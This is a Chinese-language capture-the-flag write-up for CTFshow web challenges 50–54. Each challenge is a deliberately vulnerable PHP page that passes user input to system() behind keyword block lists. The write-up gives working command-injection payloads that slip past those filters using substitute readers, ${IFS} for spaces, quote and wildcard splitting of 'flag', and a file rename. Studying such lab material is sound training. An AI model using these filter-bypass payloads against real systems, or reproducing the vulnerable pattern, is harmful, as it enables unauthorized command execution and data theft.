CTFshow web(php命令执行 50-54)

web50

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-05 22:32:47

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET['c'])){

c=_GET['c'];

if(!preg_match("/\;|cat|flag| |[0-9]|\\\|\\\*\|more\|less\|head\|sort\|tail\|sed\|cut\|awk\|strings\|od\|curl\|\\\`\|\\%\|\\x09\|\\x26/i", c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(FILE);

}

做题之前先给大伙献上干货。

1.绕过cat使用:

tac more less head tac tail nl od(二进制查看) vi vim sort uniq rev

2.绕过空格用:

%09 <> {IFS} IFS$ {cat,fl*} %20

注:

%09 ##(Tab) %20 ##(space)

3.对flag的过滤(这里也就几个,索性就全丢出来了)

1.'' (例如fl''ag)

2."" (例如fl""ag)

3.? (例如fl??)

4.* (例如fl*)

来自我的文章: 一篇文章带你进阶CTF命令执行-CSDN博客

可以去看看,这里后面的题目我会围绕我文章的知识点来作答

这里 system($c." >/dev/null 2>&1");其实就是将内容写入黑洞的意思,你的命令执行内容被带走了,所以这里使用命令分割 || (只执行h前面的命令)

过滤了cat使用tac ,空格过滤了使用<>

flag过滤了那就变成fl''ag

payload:?c=tac<>fl''ag.php||

web51

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-05 22:42:52

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET['c'])){

c=_GET['c'];

if(!preg_match("/\;|cat|flag| |[0-9]|\\\|\\\*\|more\|less\|head\|sort\|tail\|sed\|cut\|tac\|awk\|strings\|od\|curl\|\\\`\|\\%\|\\x09\|\\x26/i", c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(FILE);

}

这里把tac过滤了,直接换成nl就好了

web52

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-05 22:50:30

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET['c'])){

c=_GET['c'];

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(FILE);

}看准过滤条件,过滤了啥那就替换就好啊。

这里没有禁用那就使用{IFS}替换空格

payload;

?c=nl${IFS}fl''ag.php||

web53

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-07 18:21:02

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET['c'])){

c=_GET['c'];

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

echo($c);

d = system(c);

echo "<br>".$d;

}else{

echo 'no';

}

}else{

highlight_file(FILE);

}

这里没有写入黑洞里了,直接把上面payload复制然后删去||就好

payload:?c=nl${IFS}fl''ag.php

web54

<?php

/*

-*- coding: utf-8 -*-

@Author: Lazzaro

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-07 19:43:42

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET['c'])){

c=_GET['c'];

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c);

}

}else{

highlight_file(FILE);

}

额,汗流浃背了,这过滤有点东西啊,之前的方法用不了了,这下只能文件写入了

payload:?c=mv{IFS}fla?.php{IFS}z.txt

这里稍微再说一下啊,我一开始使用的是z.php,但是不行啊,访问不了,只能使用txt,而且最烦恼的是如果你一开始使用了z.php后面再改成txt也没有用了,因为已经把flag写入了php,所以只能销毁容器重新来

真诚地希望我的文章能够帮助大家,谢谢,在这过年期间我也是迅速更新,最后祝大家龙年吉祥!

相关推荐
灵感__idea2 小时前
Hello 算法:“走一步看一步”的智慧
前端·javascript·算法
吴文周4 小时前
告别重复劳动:一套插件让 AI 替你写代码、修Bug、做测试、上生产
前端·后端·ai编程
Mh4 小时前
我决定写一个 3D 地球仪来记录下我要去的地方
前端·javascript·动效
yaoxin5211234 小时前
390. Java IO API - WatchDir 示例
java·前端·python
懒狗小前端5 小时前
做了一个 codex 的中文文档网站,做的不好可以随便喷
前端·后端
. . . . .6 小时前
ref、useRef 和 forwardRef
前端·javascript·react.js
energy_DT6 小时前
2026年海上钻井平台数字孪生平台:引领海洋能源数字化转型
前端
Eric_见嘉6 小时前
在职前端 Agent 配置分享
前端·后端·agent
柚子8166 小时前
break跳出语句块的神奇技巧
前端·javascript
ejinxian8 小时前
Rust GUI框架Azul与Electron、WebView2
前端·javascript·electron